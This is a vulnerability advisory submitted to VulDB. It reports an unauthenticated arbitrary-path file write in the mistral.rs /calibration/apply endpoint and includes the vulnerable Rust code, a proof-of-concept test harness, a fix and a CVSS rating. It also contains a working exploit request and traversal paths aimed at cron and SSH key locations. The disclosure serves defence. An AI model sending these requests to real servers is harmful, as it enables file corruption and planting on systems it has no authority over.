Submit #997601: https://github.com/EricLBuehler/ mistral.rs v0.9.2 Unauthenticated arbitrary-path file writeinfo

Titlehttps://github.com/EricLBuehler/ mistral.rs v0.9.2 Unauthenticated arbitrary-path file write
DescriptionUnauthenticated arbitrary-path file write via /calibration/apply save_cimatrix ## Summary The `/calibration/apply` HTTP endpoint accepts an optional `save_cimatrix` string field and writes the server's collected calibration statistics to that path with `fs::write`. The only validation is that the path's extension equals `cimatrix`; there is no check that the path stays within any server-controlled directory. An unauthenticated client (this endpoint, like the rest of the default HTTP server, requires no authentication) supplies an absolute path or a relative path containing `..` and the server writes to it. ## Details `calibration_apply` (`mistralrs-server-core/src/handlers.rs`) takes the request body's `save_cimatrix: Option<String>` field, converts it directly to a `PathBuf` with no validation, and dispatches it into the pipeline: ```rust pub async fn calibration_apply( State(state): ExtractedMistralRsState, payload: Result<Json<CalibrationApplyRequest>, JsonRejection>, ) -> Response { let request = match payload { Ok(Json(request)) => request, Err(error) => return openai_error_response(ApiError::from_json_rejection(error)), }; send_calibration( &state, mistralrs_core::CalibrationAction::Apply { save_cimatrix: request.save_cimatrix.map(std::path::PathBuf::from), }, ) .await } ``` The request reaches `apply_calibration` in `mistralrs-core/src/pipeline/isq_flow/online.rs`, whose only check on the path was: ```rust if let Some(path) = save_cimatrix { if path.extension().is_none_or(|ext| ext != "cimatrix") { anyhow::bail!( "save_cimatrix path `{}` must end in .cimatrix", path.display() ); } } ``` which then reaches `CollectedImatrixData::save_imatrix` (`mistralrs-quant/src/imatrix.rs`): ```rust pub fn save_imatrix<P: AsRef<Path>>(&self, fname: P) -> Result<()> { if let Some(ext) = fname.as_ref().extension() { if ext != "cimatrix" { candle_core::bail!(...); } } let mut buf: Vec<u8> = Vec::new(); // ... encode collected imatrix data ... fs::write(fname, buf)?; Ok(()) } ``` Neither check inspects the path's directory component. `path.is_absolute()` is never checked, and `..` components are never rejected, so `/etc/cron.d/x.cimatrix`, `/home/user/.ssh/authorized_keys.cimatrix`, or `../../../../some/other/path.cimatrix` all pass the extension check and reach `fs::write` with no directory restriction. The endpoint is reachable with no authentication, matching the threat model already established by GHSA-wfgq-w7cq-qj7j and GHSA-m3wp-48jr-vr4g for this server (unauthenticated by default). The write's content is the server's own collected activation statistics (binary, little-endian encoded key/value pairs), not attacker-supplied bytes, so this is a write-primitive with a semi-fixed payload rather than arbitrary content injection. The exploitable primitive is the destination: overwriting an existing file the server process can write to (data corruption, denial of service against another service or the model's own files), or planting a file at an attacker-chosen path for pickup by whatever else consumes that location. ## Proof of Concept The affected logic (extension check plus `fs::write`) is self-contained and reproduced verbatim below with `anyhow`/`String` errors in place of `candle_core::Result`, since the vulnerable step never touches tensors. `Cargo.toml`: ```toml [package] name = "cimatrix_write_harness" version = "0.0.0" edition = "2021" [dependencies] tempfile = "3" ``` `src/lib.rs`: ```rust use std::path::{Path, PathBuf}; fn online_rs_extension_check(path: &Path) -> Result<(), String> { if path.extension().is_none_or(|ext| ext != "cimatrix") { return Err(format!("save_cimatrix path `{}` must end in .cimatrix", path.display())); } Ok(()) } fn save_imatrix_vuln(fname: &Path, payload: &[u8]) -> Result<(), String> { if let Some(ext) = fname.extension() { if ext != "cimatrix" { return Err(format!("Expected a .cimatrix file, got {ext:?}")); } } std::fs::write(fname, payload).map_err(|e| e.to_string()) } pub fn handle_save_cimatrix_vuln(requested_path: &str, payload: &[u8]) -> Result<(), String> { let path = PathBuf::from(requested_path); online_rs_extension_check(&path)?; save_imatrix_vuln(&path, payload) } #[cfg(test)] mod tests { use super::*; #[test] fn shipped_chain_allows_arbitrary_absolute_path() { let dir = tempfile::tempdir().unwrap(); let outside_target = dir.path().join("outside_root.cimatrix"); assert!(!outside_target.exists()); let result = handle_save_cimatrix_vuln(outside_target.to_str().unwrap(), b"data"); assert!(result.is_ok()); assert!(outside_target.exists()); } #[test] fn shipped_chain_allows_dot_dot_traversal() { let allowed = tempfile::tempdir().unwrap(); let outside = tempfile::tempdir().unwrap(); let traversal = format!( "{}/../{}/escaped.cimatrix", allowed.path().display(), outside.path().file_name().unwrap().to_str().unwrap() ); let result = handle_save_cimatrix_vuln(&traversal, b"x"); assert!(result.is_ok()); assert!(outside.path().join("escaped.cimatrix").exists()); } } ``` Result: both tests pass, confirming the shipped chain writes to an arbitrary absolute path and follows `..` traversal, with only the `.cimatrix` extension enforced. End-to-end request shape against a default deployment (no auth configured): ``` POST /calibration/apply Content-Type: application/json {"save_cimatrix": "/tmp/attacker_controlled_path.cimatrix"} ``` (Calibration must have been started via `POST /calibration/start` first so `apply_calibration` has data to harvest; the path check runs before that requirement changes the outcome for the path itself.) ## Impact An unauthenticated client of a default mistral.rs deployment can direct the server process to write a file at any absolute path, or any path reached via `..` traversal, that the process has write permission for. Because the write is unconditional (`fs::write` truncates and overwrites), this can corrupt or destroy an existing file at that location (integrity and availability impact), or place a new file where some other process or configuration mechanism might later read it. The written content is the server's internal binary imatrix encoding, not attacker-chosen bytes, which limits (but does not eliminate) the impact compared to full content control. ## Fix Reject any `save_cimatrix` path that is absolute or contains a `..` component, restricting writes to a relative location under the server's working directory: ```rust fn validate_save_cimatrix_path(path: &std::path::Path) -> anyhow::Result<()> { if path.extension().is_none_or(|ext| ext != "cimatrix") { anyhow::bail!("save_cimatrix path `{}` must end in .cimatrix", path.display()); } if path.is_absolute() || path.components().any(|c| c == std::path::Component::ParentDir) { anyhow::bail!( "save_cimatrix path `{}` must be a relative path within the working directory (no absolute paths or `..`)", path.display() ); } Ok(()) } ``` called from `apply_calibration` in place of the previous extension-only check, before any calibration data is harvested. ## CVSS CVSS 3.1: 5.3 (Medium) - AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L. Network-reachable, no privileges or user interaction required, low complexity. Integrity and availability impact are limited to Low because the write content is not attacker-controlled (fixed binary encoding of server-side calibration state) and the primitive is overwrite/plant rather than arbitrary content injection; confidentiality is unaffected.
Source⚠️ https://github.com/EricLBuehler/mistral.rs/commit/8c8105671
User
 carfeii (UID 97470)
Submission09/24/2026 12:47 (1 month ago)
Moderation10/11/2026 20:33 (17 days later)
StatusAccepted
VulDB entry416764 [EricLBuehler Mistral.rs up to 0.9.3 handlers.rs calibration_apply save_cimatrix path traversal]
Points20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!